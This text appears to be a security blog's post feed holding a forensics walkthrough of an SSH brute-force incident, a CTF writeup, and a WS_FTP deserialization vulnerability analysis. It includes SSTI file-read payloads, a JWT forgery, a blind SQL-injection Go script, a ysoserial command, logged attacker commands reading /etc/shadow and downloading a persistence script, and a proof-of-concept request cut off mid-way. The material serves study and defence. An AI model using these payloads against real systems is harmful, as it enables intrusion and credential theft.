timestamp when the attacker manually logged in to the server to carry out their objectives?\nThe brute-force phase usually only checks whether a password works, then logs out immediately after success. Later, the attacker manually logs in to carry out their objectives. I first answered with the timestamp from auth.log, but that was wrong; the hint indicates that the timestamp should be taken from wtmp.\nI am not sure whether this was an environment issue, but on ARM Kali Linux running on a MacBook Air M1, utmpdump failed to parse the wtmp file.\nMaybe I ran into the same issue described in this writeup.\nSo I used other ways to parse wtmp, including implementations in Python and Ruby.\nThe Python script was also written for this Sherlock, but I ran into a timezone issue. The script output my local time, while the challenge expects UTC. This can be fixed by changing the script to print UTC, or by manually converting the time: # print(f\u0026#34;{entry.time} | {entry.type} | {entry.host} | {entry.user}\u0026#34;) print(f\u0026#34;{entry.time.astimezone(pytz.utc)} | {entry.type} | {entry.host} | {entry.user}\u0026#34;) The Ruby implementation prints Unix timestamps, so we only need to convert them. After fixing the timezone issue, the result shows the timestamp as 2024-03-06 06:32:45.\nPython ┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ python3 wtmp.py wtmp \u0026lt;snip\u0026gt; 2024-03-06 06:19:55.151913+00:00 | UTmpRecordType.user_process | 203.101.190.9 | root 2024-03-06 06:32:45.387923+00:00 | UTmpRecordType.user_process | 65.2.161.68 | root 2024-03-06 06:37:24.590579+00:00 | UTmpRecordType.dead_process | | 2024-03-06 06:37:35.475575+00:00 | UTmpRecordType.user_process | 65.2.161.68 | cyberjunkie Ruby ┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ irb irb(main):001:0\u0026gt; require \u0026#34;linux/utmpx\u0026#34; =\u0026gt; true irb(main):002:0\u0026gt; irb(main):003:0\u0026gt; io = File.open(\u0026#34;wtmp\u0026#34;) =\u0026gt; #\u0026lt;File:wtmp\u0026gt; irb(main):004:0\u0026gt; parser = Linux::Utmpx::UtmpxParser.new =\u0026gt; {:ut_type=\u0026gt;0, ... irb(main):005:1* while !io.eof? do irb(main):006:1* puts parser.read(io) irb(main):007:0\u0026gt; end \u0026lt;snip\u0026gt; {:ut_type=\u0026gt;7, :pad_type=\u0026gt;0, :ut_pid=\u0026gt;1583, :ut_line=\u0026gt;\u0026#34;pts/0\u0026#34;, :ut_id=\u0026gt;\u0026#34;ts/0\u0026#34;, :ut_user=\u0026gt;\u0026#34;root\u0026#34;, :ut_host=\u0026gt;\u0026#34;203.101.190.9\u0026#34;, :ut_exit=\u0026gt;{:e_termination=\u0026gt;0, :e_exit=\u0026gt;0}, :ut_session=\u0026gt;0, :ut_tv=\u0026gt;{:tv_sec=\u0026gt;1709705995, :tv_usec=\u0026gt;151913}, :ut_addr_v6=\u0026gt;[-882524663, 0, 0, 0], :reserved=\u0026gt;\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34;} {:ut_type=\u0026gt;7, :pad_type=\u0026gt;0, :ut_pid=\u0026gt;2549, :ut_line=\u0026gt;\u0026#34;pts/1\u0026#34;, :ut_id=\u0026gt;\u0026#34;ts/1\u0026#34;, :ut_user=\u0026gt;\u0026#34;root\u0026#34;, :ut_host=\u0026gt;\u0026#34;65.2.161.68\u0026#34;, :ut_exit=\u0026gt;{:e_termination=\u0026gt;0, :e_exit=\u0026gt;0}, :ut_session=\u0026gt;0, :ut_tv=\u0026gt;{:tv_sec=\u0026gt;1709706765, :tv_usec=\u0026gt;387923}, :ut_addr_v6=\u0026gt;[1090691396, 0, 0, 0], :reserved=\u0026gt;\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34;} {:ut_type=\u0026gt;8, :pad_type=\u0026gt;0, :ut_pid=\u0026gt;2491, :ut_line=\u0026gt;\u0026#34;pts/1\u0026#34;, :ut_id=\u0026gt;\u0026#34;\u0026#34;, :ut_user=\u0026gt;\u0026#34;\u0026#34;, :ut_host=\u0026gt;\u0026#34;\u0026#34;, :ut_exit=\u0026gt;{:e_termination=\u0026gt;0, :e_exit=\u0026gt;0}, :ut_session=\u0026gt;0, :ut_tv=\u0026gt;{:tv_sec=\u0026gt;1709707044, :tv_usec=\u0026gt;590579}, :ut_addr_v6=\u0026gt;[0, 0, 0, 0], :reserved=\u0026gt;\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34;} {:ut_type=\u0026gt;7, :pad_type=\u0026gt;0, :ut_pid=\u0026gt;2667, :ut_line=\u0026gt;\u0026#34;pts/1\u0026#34;, :ut_id=\u0026gt;\u0026#34;ts/1\u0026#34;, :ut_user=\u0026gt;\u0026#34;cyberjunkie\u0026#34;, :ut_host=\u0026gt;\u0026#34;65.2.161.68\u0026#34;, :ut_exit=\u0026gt;{:e_termination=\u0026gt;0, :e_exit=\u0026gt;0}, :ut_session=\u0026gt;0, :ut_tv=\u0026gt;{:tv_sec=\u0026gt;1709707055, :tv_usec=\u0026gt;475575}, :ut_addr_v6=\u0026gt;[1090691396, 0, 0, 0], :reserved=\u0026gt;\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34;} Ans: 2024-03-06 06:32:45\nQuestion 4 # SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker\u0026rsquo;s session for the user account from Question 2?\nFilter the New session records in auth.log. The session created at the corresponding time is 37.\n┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ cat auth.log | grep \u0026#34;New session\u0026#34; Mar 6 06:19:54 ip-172-31-35-28 systemd-logind[411]: New session 6 of user root. Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root. Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root. Mar 6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie. Ans: 37\nQuestion 5 # The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?\nThe attacker created a user and granted it higher privileges. Relevant records appear around groupadd, useradd, and usermod, so searching for add is enough. The attacker created a user named cyberjunkie and added it to the sudo group.\n┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ cat auth.log | grep \u0026#34;add\u0026#34; Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1 Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add \u0026#39;cyberjunkie\u0026#39; to group \u0026#39;sudo\u0026#39; Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add \u0026#39;cyberjunkie\u0026#39; to shadow group \u0026#39;sudo\u0026#39; Ans: cyberjunkie\nQuestion 6 # What is the MITRE ATT\u0026amp;CK sub-technique ID used for persistence?\nThe attacker created a new local user.\nAns: T1136.001\nQuestion 7 # How long did the attacker\u0026rsquo;s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)\nSearch for records related to session 37 in auth.log, then calculate the time between session start and session removal. The answer was rejected when I calculated it directly from auth.log, so I tried calculating it with the wtmp timestamp instead. That worked.\n┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ cat auth.log | grep \u0026#34;session 37\u0026#34; Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root. Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37. Ans: 279\nQuestion 8 # The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?\nThe backdoor account used elevated privileges to download a malicious script. We already know the account was added to the sudo group, so searching for sudo shows two executed commands. One of them downloads the script with curl.\n┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ cat auth.log | grep \u0026#34;sudo\u0026#34; Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add \u0026#39;cyberjunkie\u0026#39; to group \u0026#39;sudo\u0026#39; Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add \u0026#39;cyberjunkie\u0026#39; to shadow group \u0026#39;sudo\u0026#39; Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002) Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh Ans: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh\n","date":"2024-05-11","externalUrl":null,"permalink":"/en/posts/htb+sherlock+brutus+writeup/","section":"Posts","summary":"A HackTheBox Sherlock Brutus investigation walkthrough using auth.log and wtmp to reconstruct SSH brute force, persistence, and follow-up attacker activity.","title":"HTB Sherlock Brutus Writeup","type":"posts"},{"content":"","date":"2023-12-09","externalUrl":null,"permalink":"/en/tags/2023/","section":"Tags","summary":"","title":"2023","type":"tags"},{"content":"","date":"2023-12-09","externalUrl":null,"permalink":"/en/tags/cggc/","section":"Tags","summary":"","title":"CGGC","type":"tags"},{"content":" [Web] bossti # Description:\nI wish you were a boss wannabe.\nThis challenge clearly expects us to tamper with the JWT to log in.\nAfter decoding the JWT, the signing Secret is empty.\nModify the JWT role to boss, as hinted by the challenge.\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4 After logging in, the challenge turns into an SSTI problem. Wappalyzer shows that the service is Python Flask, so we can start by trying Python SSTI payloads.\nPutting {{ 7*6 }} into the hack field makes the server evaluate it as 42, confirming SSTI.\nhttp://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{7*6}}%27} The challenge asks us to find Flag.txt, so the next step is to look for a file-read payload. Ideally, we would first find a way to list files, but guessing the current directory happened to work.\nhttp://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{get_flashed_messages.__globals__.__builtins__.open(%22Flag.txt%22).read()}}%27} flag: CGGC{\u0026quot;S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$\u0026quot;} [MISC] Space game # Description:\nPlay a fun space game and try to get a high score. Move using the arrow keys and press \u0026lsquo;Z\u0026rsquo; to attack.\nbinjgb is a Game Boy emulator. According to its GitHub documentation, the .gb file needs to be served from the server.\nOpening the developer tools and checking the loaded requests shows that the browser downloads game.gb, and the flag is hidden inside that file.\nflag: CGGC{Y0U_WIN!!123} [Reverse] GaoYi # Description:\nAnyone can participate with three million US dollars.\nThe challenge provides an executable. We need to gamble with GaoYi twice and win before getting the flag.\nThe main function contains two gambling rounds. It reads user input and then checks whether we win.\nThe flag we want is in readFlag().\nreadFlag() calculates the flag. I originally thought about reimplementing the calculation, but that felt unnecessary.\nThe idea is to skip the gambling logic and jump directly into the flag calculation path. The target is 0x00401e3c, which lets the program calculate the flag directly.\nSo I patched the beginning of main and tried to jump there directly.\nChange the original instruction eb6a to e939040000.\nPatch the binary.\nSuccessfully got the flag.\nflag: CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r} [Web] Flag Slot Machine # Description:\nIf you\u0026rsquo;re lucky enough, you\u0026rsquo;ll be able to get the flag.\n// flag.php \u0026lt;?php include_once(\u0026#34;config.php\u0026#34;); if(isset($_GET[\u0026#34;secret\u0026#34;])) { $pwd = $_GET[\u0026#34;secret\u0026#34;]; $dbname = \u0026#39;secret_db\u0026#39;; $conn = new mysqli(HOST, DBUSER, DBPASS, $dbname); if ($conn-\u0026gt;connect_error) { die(\u0026#39;Connection failed: \u0026#39; . $conn-\u0026gt;connect_error); } $stmt = $conn-\u0026gt;prepare(\u0026#34;SELECT * FROM s3cret_table\u0026#34;); $stmt-\u0026gt;execute(); $result = $stmt-\u0026gt;get_result(); $response = array(\u0026#34;data\u0026#34; =\u0026gt; generateRandomString(strlen($flag))); if ($result-\u0026gt;num_rows \u0026gt; 0) { $res = $result-\u0026gt;fetch_assoc(); if($res[\u0026#34;secret\u0026#34;] == $pwd) $response = array(\u0026#34;data\u0026#34; =\u0026gt; $flag); // \u0026lt;-- flag here } flag.php requires us to provide a secret through a GET parameter. If it matches the secret in the database, we can get the flag.\n// login.php \u0026lt;?php include_once(\u0026#34;config.php\u0026#34;); fingerprint_check(); if(isset($_POST[\u0026#39;user\u0026#39;]) \u0026amp;\u0026amp; isset($_POST[\u0026#39;pwd\u0026#39;])) { $user = $_POST[\u0026#39;user\u0026#39;]; $pwd = $_POST[\u0026#39;pwd\u0026#39;]; } else { $user = $pwd = \u0026#34;\u0026#34;; } //... if($user != \u0026#34;\u0026#34; \u0026amp;\u0026amp; $pwd != \u0026#34;\u0026#34;) { $dbname = \u0026#39;slot_db\u0026#39;; $conn = new mysqli(HOST, DBUSER, DBPASS, $dbname); if ($conn-\u0026gt;connect_error) { die(\u0026#39;Connection failed: \u0026#39; . $conn-\u0026gt;connect_error); } $conn-\u0026gt;set_charset(\u0026#34;utf8\u0026#34;); $stmt = $conn-\u0026gt;prepare(\u0026#34;SELECT * FROM users WHERE username = \u0026#39;\u0026#34; . $user . \u0026#34;\u0026#39; and password = \u0026#39;\u0026#34; . md5($pwd) . \u0026#34;\u0026#39;\u0026#34;); // \u0026lt;-- SQLi here $stmt-\u0026gt;execute(); $result = $stmt-\u0026gt;get_result(); if ($result-\u0026gt;num_rows \u0026gt; 0) { $res = $result-\u0026gt;fetch_assoc(); $_SESSION[\u0026#39;login\u0026#39;] = $res[\u0026#34;username\u0026#34;]; echo \u0026#34;\u0026lt;div\u0026gt;Login successful!\u0026lt;/div\u0026gt;\u0026#34;; echo \u0026#34;\u0026lt;script\u0026gt;setTimeout(function(){ window.location.href = \u0026#39;index.php\u0026#39;; }, 1000);\u0026lt;/script\u0026gt;\u0026#34;; } else { echo \u0026#34;\u0026lt;div class=\\\u0026#34;alert alert-danger\\\u0026#34; role=\\\u0026#34;alert\\\u0026#34;\u0026gt;Login failed! QAQ\u0026lt;/div\u0026gt;\u0026#34;; } login.php has a SQL injection vulnerability. Unfortunately, there is no output, so we cannot directly dump the database contents to the page.\n// config.php \u0026lt;?php session_start(); define(\u0026#34;FINGERPRINT\u0026#34;, \u0026#34;771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0\u0026#34;); define(\u0026#34;DBUSER\u0026#34;, \u0026#34;kaibro\u0026#34;); define(\u0026#34;DBPASS\u0026#34;, \u0026#34;superbig\u0026#34;); define(\u0026#34;HOST\u0026#34;, \u0026#34;localhost\u0026#34;); $flag = \u0026#39;CGGC{fake_flag}\u0026#39;; function session_check() { if(!isset($_SESSION[\u0026#39;login\u0026#39;]) || $_SESSION[\u0026#39;login\u0026#39;] == \u0026#34;\u0026#34;) { header(\u0026#34;Location: login.php\u0026#34;); die(\u0026#34;Plz login\u0026#34;); } } function fingerprint_check() { if($_SERVER[\u0026#39;HTTP_SSL_JA3\u0026#39;] !== FINGERPRINT) die(\u0026#34;Bad hacker! Wrong fingerprint!\u0026#34;); } Before attempting to log in, we are blocked by the JA3 fingerprint check. This challenge also appeared in Balsn CTF, and the following writeup is useful. I initially followed the writeup and used NodeJS, but asynchronous execution made timing checks awkward, so I switched to the Go version.\nhttps://ctftime.org/writeup/37976 use mysql; CREATE USER \u0026#39;kaibro\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;superbig\u0026#39;; GRANT SELECT ON *.* TO \u0026#39;kaibro\u0026#39;@localhost IDENTIFIED BY \u0026#39;superbig\u0026#39; WITH GRANT OPTION; FLUSH PRIVILEGES; CREATE DATABASE slot_db; use slot_db; DROP TABLE IF EXISTS `users`; CREATE TABLE `users` ( `id` int(11) DEFAULT NULL, `username` text, `password` text ) ENGINE=MyISAM DEFAULT CHARSET=latin1; LOCK TABLES `users` WRITE; INSERT INTO `users` VALUES (1, \u0026#39;kaibro\u0026#39;, \u0026#39;4647570f7638e378e490db41c24c800a\u0026#39;); UNLOCK TABLES; CREATE DATABASE secret_db; use secret_db; DROP TABLE IF EXISTS `s3cret_table`; CREATE TABLE `s3cret_table` ( `id` int(11) DEFAULT NULL, `secret` text ) ENGINE=MyISAM DEFAULT CHARSET=latin1; LOCK TABLES `s3cret_table` WRITE; INSERT INTO `s3cret_table` VALUES (1, \u0026#39;meowmeowmeow\u0026#39;); UNLOCK TABLES; Before using UNION SELECT for SQL injection, we need to determine the number of columns. The challenge provides the database schema, so we already know there are three columns. Our target is the secret from secret_db.s3cret_table; because there is no output, we have to extract it one character at a time. First, we determine the length of secret with a time-based payload: when the condition is true, the server sleeps for a few seconds. After a few attempts, the length is confirmed to be 32.\nuser=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '\u0026amp;pwd=123' Next, brute-force the secret character by character by comparing ASCII values. One thing to watch out for is that the secret updates periodically, so do not do this manually. Yes, I wasted time doing it manually, and that is how I noticed the characters were probably in [0-9a-f]. This is also why the Go version is better here: it makes timing checks easier to handle.\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/Danny-Dasilva/CycleTLS/cycletls\u0026#34; \u0026#34;strconv\u0026#34; \u0026#34;time\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;crypto/tls\u0026#34; \u0026#34;io/ioutil\u0026#34; ) func main() { client := cycletls.Init() // secret length = 32 // Body: \u0026#39;user=kaibro\u0026#39; UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- \u0026#39;\u0026amp;pwd=123\u0026#39;, secret := \u0026#34;\u0026#34; chars := \u0026#34;abcdef1234567890\u0026#34; for len(secret) \u0026lt; 32 { for _, char := range chars { payload := \u0026#34;user=kaibro\u0026#39; UNION Select 1,IF(SUBSTRING(secret,\u0026#34; + strconv.Itoa(len(secret)+1) + \u0026#34;,1) = CHAR(\u0026#34; + strconv.Itoa(int(char)) + \u0026#34;),SLEEP(2),null),3 FROM secret_db.s3cret_table WHERE id=1 -- \u0026#39;\u0026amp;pwd=123\u0026#34; //fmt.Println(payload) start := time.Now() _, err := client.Do(\u0026#34;https://10.99.111.111:8787/login.php\u0026#34;, cycletls.Options{ Body : payload, Ja3: \u0026#34;771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0\u0026#34;, UserAgent: \u0026#34;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0\u0026#34;, Headers: map[string]string{ \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, }, InsecureSkipVerify: true, }, \u0026#34;POST\u0026#34;); if err != nil { fmt.Print(\u0026#34;Request Failed: \u0026#34; + err.Error()) } elapsed := time.Since(start) //fmt.Println(elapsed) if (elapsed \u0026gt;= 2000000000) { secret = secret + string(char) fmt.Println(secret) break } } } http.DefaultTransport.(*http.Transport).TLSClientConfig = \u0026amp;tls.Config{InsecureSkipVerify: true} response, err := http.Get(\u0026#34;https://10.99.111.111:8787/flag.php?secret=\u0026#34; + secret) if err != nil { fmt.Print(\u0026#34;Request Failed: \u0026#34; + err.Error()) } // read response body body, error := ioutil.ReadAll(response.Body) if error != nil { fmt.Println(error) } // close response body response.Body.Close() // print response body fmt.Println(string(body)) } After the brute force finishes, send the recovered secret to flag.php to get the flag.\n[MISC] Link list # Description:\nDO you know how automatic destination file work? (The flag is separarted into four parts)\nAt the bottom of the file, I found the last part:\nC:\\Challenge\\_l457_p4r7_15_h1dd3n!} To recover the flag parts in the correct order, use the path after l l e n g e \\. If you search with C:\\Challenge\\, the order gets mixed up.\nF L A G IS Pr ob bly Here! Youre Clo se Here It is_ CG GC{ 3 z _f 1 r5 7_ qu 4 r 7 3r _ CGGC{3z_f1r57_qu4r73r_ For this part, extracting and running the PowerShell script is enough.\nC:\\\u0026gt; $t=\u0026#39;aRB3BDtBNRAiBGFBNBA2BGVB[tB0BDdBNRAzBDRB[tBtBD7BNtB\u0026gt;\u0026#39;;for(($i=0);$i-lt$t.Length;$i++){$k+=[char]($t[$i]-bxor3)};[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($k)) m4l1c10u5_7h1rd_0n3 m4l1c10u5_7h1rd_0n3 Only the second part was still missing in the end, so I did not fully solve this challenge :(\nCGGC{3z_f1r57_qu4r73r_ m4l1c10u5_7h1rd_0n3 _l457_p4r7_15_h1dd3n!} ","date":"2023-12-09","externalUrl":null,"permalink":"/en/posts/cggc+ctf+2023+writeup/","section":"Posts","summary":"A writeup for the CGGC CTF 2023 preliminary round, covering Web, Misc, and Reverse challenges with analysis notes and payloads.","title":"CGGC CTF 2023 Preliminary Writeup","type":"posts"},{"content":"","date":"2023-12-09","externalUrl":null,"permalink":"/en/tags/ctf/","section":"Tags","summary":"","title":"CTF","type":"tags"},{"content":"","date":"2023-10-08","externalUrl":null,"permalink":"/en/tags/cve/","section":"Tags","summary":"","title":"CVE","type":"tags"},{"content":" 📖 Vulnerability Overview # In WS_FTP Server versions earlier than 8.7.4 and 8.8.2, an unauthenticated attacker can exploit a .NET deserialization vulnerability in the Ad Hoc Transfer module to achieve remote command execution on the WS_FTP Server system. The Ad Hoc Transfer module is part of the standard WS_FTP Server installation, which means most WS_FTP Server deployments may be affected. Progress Software recommends that all customers upgrade to the latest version, or remove/disable the Ad Hoc Transfer module.\nThis vulnerability was discovered by Assetnote. According to their research, an attacker does not need authentication to reach RCE on a vulnerable target.\nRapid7 also observed exploitation of this vulnerability in the wild. Based on evidence of active exploitation, CISA added it to the Known Exploited Vulnerabilities Catalog.\nThe vulnerability is tracked as CVE-2023-40044. Its CVSS v3 score is at least 8.8, making it a high-severity issue.\nAffected Products # If the Ad Hoc Transfer module is enabled, the following versions are affected:\n2022.0.1 (8.8.1) 2022.0 (8.8.0) 2020.0.0 (8.7.0) 2020.0.1 (8.7.1) 2020.0.2 (8.7.2) 2020.0.3 (8.7.3) 🕵️ Analysis # FormStream Class # The root cause of this vulnerability is unsafe deserialization. The vulnerable DeserializeProcessor() method deserializes user-controlled data without validation.\ninternal IFileProcessor DeserializeProcessor(string input) { BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input)); SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // \u0026lt;-- unsafe deserialization Tracing backward through the call chain shows that DeserializeProcessor() is called by CheckForActionFields(). CheckForActionFields() attempts to extract the string after ::AHT_DEFAULT_UPLOAD_PARAMETER:: from a multipart field, then passes that string into DeserializeProcessor() for deserialization.\nThe presence of ::AHT_UPLOAD_PARAMETER:: also appears to trigger the same unsafe deserialization flow.\nprivate void CheckForActionFields() { byte[] array = this._currentField.ToArray(); string result1 = string.Empty; int boundaryPos = this.IndexOf(array, this.BOUNDARY); if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos)) { string result2 = string.Empty; if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos)) // \u0026lt;-- ::AHT_DEFAULT_UPLOAD_PARAMETER:: { this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length)); // \u0026lt;-- unsafe deserialization this._processor = this._defaultProcessor; this._currentField = new MemoryStream(); } else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos)) // \u0026lt;-- ::AHT_UPLOAD_PARAMETER:: { this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // \u0026lt;-- unsafe deserialization this._currentField = new MemoryStream(); } To reach CheckForActionFields(), execution must first pass through ProcessField() and Write().\nprivate FormStream.SectionResult ProcessField(byte[] bytes, int pos) { int nextOffset1 = -1; if (pos \u0026lt; bytes.Length - 1) { nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1); if (nextOffset1 != -1 \u0026amp;\u0026amp; this._inFile) nextOffset1 -= 2; } if (nextOffset1 \u0026gt;= 0) { this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos); if (!this._inFile) this.CheckForActionFields(); // \u0026lt;-- vulnerable method Write() walks through the HTTP form-data, searches for boundary strings, and parses each field header. To trigger ProcessField(), the following conditions must be met:\nthis._inField must be true The multipart field header must not contain both filename and Content-Disposition this._inFile must be false public override void Write(byte[] bytes, int offset, int count) { int num1 = 0; byte[] numArray; if (this._buffer != null) { numArray = new byte[this._buffer.Length + count]; Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length); Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count); } else { numArray = new byte[count]; Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count); } this._position += (long) count; int srcOffset; int num2; FormStream.SectionResult sectionResult; do { if (this._headerNeeded) { srcOffset = num1; num2 = this.IndexOf(numArray, this.BOUNDARY, num1); if (num2 \u0026gt;= 0) { if (this.IndexOf(numArray, this.EOF, num2) != num2) { int num3 = this.IndexOf(numArray, this.EOH, num2); if (num3 \u0026gt;= 0) { this._inField = true; // \u0026lt;-- _inField = true this._headerNeeded = false; Dictionary\u0026lt;string, string\u0026gt; header = this.ParseHeader(numArray, num2); if (header != null) { if (header.ContainsKey(\u0026#34;filename\u0026#34;) \u0026amp;\u0026amp; header.ContainsKey(\u0026#34;Content-Disposition\u0026#34;)) // \u0026lt;-- must be false { string fileName = header[\u0026#34;filename\u0026#34;].Trim(\u0026#39;\u0026#34;\u0026#39;).Trim(); if (!string.IsNullOrEmpty(fileName)) { try { this._fileName = header[\u0026#34;filename\u0026#34;].Trim(\u0026#39;\u0026#34;\u0026#39;); this._inFile = true; string contentType = !header.ContainsKey(\u0026#34;Content-Type\u0026#34;) ? \u0026#34;application/octet-stream\u0026#34; : header[\u0026#34;Content-Type\u0026#34;]; this.fileProccessingEnded = false; object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields); this.OnFileStarted(fileName, identifier); } catch (Exception ex) { this._fileError = true; this.OnError(ex); } } } else { this._inFile = false; // \u0026lt;-- _inFile = false this._currentField = new MemoryStream(); this._currentFieldName = header[\u0026#34;name\u0026#34;]; } num1 = num3 + 4; } else goto label_9; } else goto label_17; } else goto label_6; } else goto label_18; } if (this._inField) { this._buffer = (byte[]) null; sectionResult = this.ProcessField(numArray, num1); // \u0026lt;-- vulnerable method UploadModule Class # UploadModule determines whether the incoming HTTP request is a multipart file upload. If it is, Context_AcquireRequestState() creates a FormStream object and processes the request through Write().\npublic class UploadModule : IHttpModule { private void Context_AcquireRequestState(object sender, EventArgs e) { // ... string boundary = \u0026#34;--\u0026#34; + knownRequestHeader.Substring(knownRequestHeader.IndexOf(\u0026#34;boundary=\u0026#34;) + \u0026#34;boundary=\u0026#34;.Length); using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding)) { formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted); formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError); formStream.FileStarted += new FileEventHandler(this.fs_FileStarted); formStream.Error += new ErrorEventHandler(this.OnTransactionAborted); this._context = app.Context; long bytes = 0; if (workerRequest.GetPreloadedEntityBodyLength() \u0026gt; 0) { byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody(); formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // \u0026lt;-- vulnerable method In the web.config for the WS_FTP Ad Hoc Transfer application, MyFileUpload.UploadModule is loaded as an IIS HTTP module and handles incoming file upload requests. As a result, multipart HTTP requests sent to URIs under the Ad Hoc Transfer module that begin with /AHT/ may trigger this vulnerability.\n\u0026lt;httpModules\u0026gt; \u0026lt;add name=\u0026#34;extend_session_module\u0026#34; type=\u0026#34;AHT.Main.ExtendUserSessionModule\u0026#34; /\u0026gt; \u0026lt;add name=\u0026#34;upload_module\u0026#34; type=\u0026#34;MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0\u0026#34; /\u0026gt; \u0026lt;/httpModules\u0026gt; PoC # Use ysoserial.net to generate a .NET deserialization payload:\n.\\ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c \u0026#34;notepad.exe\u0026#34; -o base64 HTTP multipart POST request:\nPOST /AHT/AhtApiService.asmx/AuthUser HTTP/1.1 Host: victim.com User-Agent: CVE-2023-40044 Accept: */* Content-Length: 1303 Content-Type: multipart/form-data; boundary=boundary --boundary name: PoC 